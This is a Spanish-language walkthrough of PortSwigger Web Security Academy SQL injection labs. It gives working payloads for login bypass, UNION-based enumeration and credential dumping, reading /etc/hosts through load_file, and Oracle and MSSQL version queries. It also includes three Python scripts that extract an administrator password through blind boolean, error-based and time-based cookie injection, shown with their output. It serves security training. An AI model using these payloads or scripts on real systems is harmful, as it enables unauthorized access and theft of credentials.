SQL Injection - PortSwigger
⮕ SQL Injections Lab (Puedes dar click en cualquier tipo de inyeccion que esta en el contenido para ir directamente a esa)
Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
https://portswigger.net/web-security/sql-injection/cheat-sheet
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Lo primero que debes de hacer es ir ala pagina web y cuenta puedes hacer esto aqui Es mejor hacerlo desde un navegador google chrome
Una vez creaste tu cuenta iremos al primer caso https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data y pues accedes en el lab
Vemos una tienda
en la descripción del laboratorio nos dicen que cuando elegimos una categoría esta es la query
que pasa por detrás Lo que esta haciendo es mostrarte todo de la categoria que elegiste donde products es la tabla y category es la columna
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Lo que nos están pidiendo es que realicemos una inyección SQLI que lo haga es mostrar mas detalles de los productos publicas y no publicados en cualquier categoría
Si seleccionamos Pets
la url
queda de esta manera
Si ponemos ' or 1=1-- -
lo que va hacer es que con la '
cerramos la categoría y el or 1=1-- -
lo que hace es que como le estas diciendo 1=1
lo cual es correcto y es TRUE te lo va tomar como valido y el -- -
es para comentar el resto de la query
para que no interpreta lo que esta alado en esta caso lo que no se va a interpretar es AND released = 1
si ponemos esa query
saldrán productos que no estaban y con eso completamos el lab
SQL injection vulnerability allowing login bypass
https://portswigger.net/web-security/sql-injection/lab-login-bypass
Ahora en este laboratorio nos piden hacer una SQLI
a un panel de login donde nos conectemos como el usuario administrador sin proporcionar contraseña
Este es el panel de login
Si analizamos lo que nos piden por detrás lo mas seguro es que se esta aplicando una query
como esta
select name,lastname from users where username = 'administrator' and password = 'password'
El campo Username
pues es el usuario y el campo Password
pues va la contraseña en los 2 campos podemos escribir pero bueno nos piden conectarnos como el usuario Administrator
pero no sabemos su contraseña así que lo que podemos hacer es que el input del Username poner Administrator'-- -
lo que estaremos haciendo es que no aplica la comparativa que esta haciendo para la contraseña estamos comentando esa parte en la contraseña puedes poner cualquier cosa pero no la va a tomar en cuenta por que estas comentando el resto de la query
Si le damos en Log in
funciona y terminamos el lab
SQL injection UNION attack, determining the number of columns returned by the query
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
Ahora lo que nos piden es determinar el numero de columnas que existen en las inyecciones pues tenemos: bases de datos, tablas, columnas y datos al igual nos dicen que la parte de la categoría es donde se acontece la vulnerabilidad
Esta es la web
Vamos a filtrar por alguna categoría y ya vemos que nos esta mostrando cosas relacionas a eso
Si hacemos un 'order by 100-- -
que bueno esto es para aplicar un ordenamiento basándonos en la 100 columna que pues obviamente nos existe y nos da un error
Gifts' order by 100-- -
Lo que podemos hacer es que cuando no nos ponga error pues seria correcta si rebajos a 3 ya no nos da error ' order by 3-- -
por que es correcto
Ahora sabiendo el numero total de columnas podemos usar un Union select
para combinar datos
Seria algo así la query ' union select NULL,NULL,NULL-- -
en este caso tenemos que poner NULL
por que en la web no admite numeros pero lo que casi siempre se pone es por ejemplo si son 3 pues 'union select 1,2,3-- -
casi siempre el atacante se aprovecha de esto para por ejemplo en el 1 que mejor nos diga cual es la base de datos actualmente en uso haciendo esto 'union select database(),2,3-- -
, ademas tambien puedes saber quien esta corriendo la base de datos, cargar archivos de la maquina con 'union select load_file("/etc/hosts"),2,3-- -
esto depende si tienes capacidad de lectura si no pues no podrás cargar el archivo y muchas mas vamos a resolver el lab con este que ahora ya sabemos
Y funciona
SQL injection UNION attack, finding a column containing text
https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text
Ahora lo que nos piden es que atraves de nuestra query la base de datos nos devuelva la cadena que nos dan (la tuya pueda ser diferente)
Vamos irnos a una categoría para seleccionarla ademas sabemos que hay 3 columnas asi que es igual ' union select NULL,NULL,NULL-- -
Bueno de primeras no sabemos cual campo es inyectable si el 1,2 o 3 así que lo que tenemos que hacer es ir probando para ver en cual si nos interpreta la cadena vamos a probar el primer campo y no ' union select 'v3jsC6',NULL,NULL-- -
Si lo probamos en la segunda si funciona y con esto ya terminamos el laboratorio ' union select NULL,'v3jsC6',NULL-- -
SQL injection UNION attack, retrieving data from other tables
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
Ahora nos piden primero es que nos conectemos como el usuario Administrador pero antes tenemos que averiguar cual es la contraseña del usuario administrador aplicando un inyección sql
Vamos a seleccionar otra vez otra categoría
Ahora primeramente necesitamos saber cuantas columnas hay ya les adelanto que hay 2 por que si analizas la web abajo te esta mostrando un titulo y una descripción
Ya vemos que funciona ahora siguiente el concepto necesitamos saber cual es el campo inyectable
Si probamos con el primer campo inyectando una string vemos que si funciona ` ‘union select ‘xd’,NULL– -`
Ahora vamos a inyectar una query para saber las bases de datos que existen ' union select schema_name,NULL from information_schema.schemata-- -
y nos esta mostrando Bases de datos
Ya conocemos las bases de datos ahora tenemos que enumerar las tablas si haces esto ' union select table_name,NULL from information_schema.tables-- -
si haces esto te va a mostrar todas las tablas de todas las bases de datos tal vez suena interesante pero no es la idea por que solo queremos saber la contraseña del usuario administrator
Podemos indicarle de cual base de datos queremos saber las tablas de la base de datos public
con la siguiente query ' union select NULL,table_name from information_schema.tables where table_schema='public'-- -
La tabla users esta interesante lo mas probable es que hay estén las columnas usernames y password
Ahora vamos a dumpear las columnas para la tabla users y para la base de datos public esta seria la query ' union select column_name,NULL from information_schema.columns where table_schema ='public' and table_name='users'-- -
Si aplicamos la query
vemos las columnas existentes
Después de probar varias querys esta fue la única que me funciono ' union select NULL,username||':'||password from users-- -
Ahora si nos a la sección de My account vemos que las credenciales son correctas y podemos conectarnos
SQL injection UNION attack, retrieving multiple values in a single column
Ahora nos piden representar múltiples campos en una sola columna lo mismo de antes para conectarnos como el administrador
Ahora lo que vamos a hacer es seleccionar otra categoría y ya podemos ver que van a ser solo 2 columnas
Vamos a hacer lo mismo para saber cuales son las bases de datos
Ahora vamos a enumerar las tablas
Ahora vamos a enumerar las columnas
Vamos aplicar un concat para ver la data
Ahora nos vamos a conectar y las credenciales son validas
SQL injection attack, querying the database type and version on Oracle
Ahora la cosa cambia por que la base de datos es de Oracle
y nos piden averiguar la versión y el tipo de base de datos que esta empleando
Si nos abrimos el laboratorio vemos que nos dice que hagamos que nos devuelva toda esa string
Vamos a seleccionar una categoría y como es lo mismo que en las anteriores pues son 2 columnas pero me da error aunque haga ' union select NULL,NULL-- -
Pero bueno nos da el error por que se esta empleando Oracle y en Oracle tenemos que siempre indicar una tabla bueno esta es la tabla que es mejor
Si ahora le indicamos al tabla dual
ya nos va a dar error ' union select NULL,NULL from dual-- -
Si nos vamos al cheet sheet que puse al principio nos dan información de como hacerlo para Oracle
Vamos a emplear la siguiente query por que ya sabemos como hacerlo ' union select NULL,banner from v$version-- -
y funciona
SQL injection attack, querying the database type and version on MySQL and Microsoft
Ahora nos piden lo mismo pero para Microsoft
Basándonos en el cheet sheet pues rápido podemos ver la versión con la siguiente query ' union select NULL,@@version-- -
SQL injection attack, listing the database contents on non-Oracle databases
Ahora nos piden obtener la contraseña del usuario administrator
Vamos a elegir una categoría y como sabemos que son 2 columnas NULL,NULL pues vamos a enumerar las bases de datos directamente
Vamos a enumerar las tablas para la base de datos public
Ahora las columnas
Y con esto tenemos las contraseñas
Vamos validar que son correctas y terminamos el laboratorio
SQL injection attack, listing the database contents on Oracle
Ahora tenemos que hacer lo mismo pero para Oracle
Vamos a seleccionar una categoría y bueno ya sabemos que hay 2 columnas pero tenemos que usar dual por que se esta empleando Oracle
Ahora vamos seguir dumpeando pero hay que recordar que se esta usando Oracle
Bueno en Oracle podemos ver propietarios de las bases de datos ' union select NULL,owner from all_tables-- -
Podemos ver las tablas donde el propietario sea PETER
' union select NULL,table_name from all_tables where owner = 'PETER'-- -
Ahora vamos a dumpear las columnas ' union select NULL,column_name from all_tab_columns where table_name = 'USERS_YUXJGI'-- -
Con la siguiente query vamos ver las credenciales ' union select NULL,USERNAME_YRXBVR||':'||PASSWORD_QLAFCK from USERS_YUXJGI-- -
Ahora si nos conectamos pues terminas el laboratorio y bueno a por el siguiente
Blind SQL injection with conditional responses
Esta inyección es basada en la respuesta y bueno tenemos la misma web así que vamos a volver a elegir una categoría
Si ponemos una ‘ vemos que desaparecen las cosas
Si ponemos varias querys pues no va a pasar nada pero si leemos bien lo que tenemos que hacer nos dice que que el campo inyectable no es el de la categoría es en la cookie
es por eso que si pruebas cosas no te va a mostrar nada vamos a usar Burpsuite para capturar la petición simplemente recarga y listo
Bueno si leemos nos dicen que el Welcome Back el mensaje que nos aparecía para ciertas peticiones puede desaparecer así que eso ya lo podemos poner como pista
Si ponemos una ‘ en la parte inyectable desaparece el mensaje
Si comentas el resto de la query nos pone el mensaje
Lo que vamos a hacer es aprovecharnos del mensaje si probamos con un 2=1– - que es falso nos quita el mensaje
Bueno lo que podemos hacer es meter una nueva query sabemos que la tabla users existe entonces podemos jugar con substring aprovechándonos de la tabla users del usuario administrator
Bueno como es un conditional error si por ejemplo ponemos la letra b a no igual a b entonces no nos muestra el mensaje podemos basarnos en eso para saber cuando el carácter es valido o no
Si por ejemplo seleccionamos el segundo caracter username,2,1 la palabra admnistrator su segunda letra es la d así que ya es correcto y nos aparece en el mensaje para basarnos en eso
Igual que el campo Username podemos hacerlo para password pero vamos a usar Python3 para que sea mucho mas rápido y poder fuzzear las posiciones y nos basamos en la respuesta
#!/usr/bin/python3
from pwn import *
import requests, time, signal, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
main_url = "https://0aa6009704c7d45a88ea00aa00d1002d.web-security-academy.net/"
characters = string.ascii_lowercase + string.digits
def makeRequest():
password = ""
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando Fuerza Bruta")
time.sleep(2)
p2 = log.progress("Password")
for position in range(1, 21): # Longitud de la contraseña
for character in characters:
cookies = {
'TrackingId': "h9NyMIr3HYJLUkb8' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
'session': 'yTTLOIU9sVTCPIJ9RRzXZF1jIoSmaWuN'
}
p1.status(cookies['TrackingId'])
r = requests.get(main_url, cookies=cookies)
if "Welcome back!" in r.text:
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()
❯ python3 SQLI_ce.py
[◤] Fuerza Bruta: h9NyMIr3HYJLUkb8' and (select substring(password,20,1) from users where username='administrator')='r
[▅] Password: 9ukm2pkd8yzk570rqv2r
Blind SQL injection with conditional errors
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
Para esta inyeccion no vas a ver errores en la respuesta si nos vamos a ver códigos de estado y en eso nos vamos a basar y bueno es otro vez atreves de la cookie asi que vamos a seleccionar una categoría y de hay pues vamos a interceptar la petición con Burpsuite y bueno ahora no vemos nada del welcome back!
Si en el Tracking Id podemos una camilla nos sale un error con el código 500 así que pues bueno va a ser lo mismo pero ahora basándonos en el error pero bueno si es que cambian algunas cosas pero en el siguiente script de Python3 la inyeccion quedaria lista
#!/usr/bin/python3
from pwn import *
import requests, time, signal, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
main_url = "https://0a77003e03026052829c9d1f00cf006c.web-security-academy.net/"
characters = string.ascii_lowercase + string.digits
def makeRequest():
password = ""
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando Fuerza Bruta")
time.sleep(2)
p2 = log.progress("Password")
for position in range(1, 21): # Longitud de la contraseña
for character in characters:
cookies = {
'TrackingId': "TrackingId=RYv84rwBNkKgrR6I'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username='administrator')||'" % (position, character),
'session': 'uMuOQ5tR8SukkqghM9kJijQdjAhx55n6'
}
p1.status(cookies['TrackingId'])
r = requests.get(main_url, cookies=cookies)
if r.status_code == 500: # Codigo de estado
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()
❯ python3 error.py
[o] Fuerza Bruta: TrackingId=RYv84rwBNkKgrR6I'||(select case when substr(password,20,1)='u' then to_char(1/0) else '' end from users where username='administrator')||'
[▇] Password: dq661c6kbqr9wemn3khu
SQL injection with time delays
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
Esta inyección es basada en tiempo y la base de datos es de Postgress asi que nos vamos a capturar la petición con burpsuite otra vez
El campo inyectable también es el mismo campo pero bueno esta es una inyección basada en tiempo para ver si esto es vulnerable a la de tiempo podemos hacer un pg_sleep(10)-- -
y si la web tarda 10 segundos en responder es por que es vulnerable
lo único que tienes que hacer para resolver el laboratorio lo único que tienes que hacer es esto
Blind SQL injection with time delays and information retrieval
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
Ahora nos vamos aprovechar del tiempo para poder dumpear datos
Bueno para dumpear datos es igual que el script de python3 pero ahora tenemos que usar el tiempo asta ahora sabemos que la tabla se users y el usuario se llama administrator
#!/usr/bin/python3
from pwn import *
import requests, time, signal, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
main_url = "https://0ae40016039741e7814a1bbe003600ff.web-security-academy.net"
characters = string.ascii_lowercase + string.digits
def makeRequest():
password = ""
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando Fuerza Bruta")
time.sleep(2)
p2 = log.progress("Password")
for position in range(1, 21): # Longitud de la contraseña
for character in characters:
cookies = {
'TrackingId': "1lFKg9knAZv6c4Rh'||(select case when substring(password,%d,1)='%s' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -" % (position, character),
'session': 'GFWmEskRVbNs1roHXayzNqy3kmOWofMd'
}
p1.status(cookies['TrackingId'])
time_start = time.time()
r = requests.get(main_url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 1.5:
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()
❯ python3 SQLI_b.py
[▇] Fuerza Bruta: 1lFKg9knAZv6c4Rh'||(select case when substring(password,20,1)='6' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -
[.......\] Password: m2at1sufe07hhx5v5vv6
SQL injection with filter bypass via XML encoding
Ahora nos dicen que hay una vulnerabilidad en el stock check feature.
Vamos a capturar la petición con Burpsuite al hacer click en Check Store
Y vemos que hay una estructura en XML de primeras pues pensamos en un XXE pero bueno vamos a probar con las inyecciones
Y bueno ya nos detectan hay un WAF
Bueno en el laboratorio nos dicen que usemos hackvertor que tenemos que instalarlo en Burpsuite puedes hacerlo de esta forma
Una vez instalado solo tienes que seleccionar la query Click derecho + Entensions y Harkvertor + Enconde + hex_entities (tube volver a poner el laboratorio tuve unos errores con la conexión pero básicamente es lo mismo solo seleccione otro producto)
Vamos a dumpear las bases de datos
Vamos a ver directamente la contraseña del administrator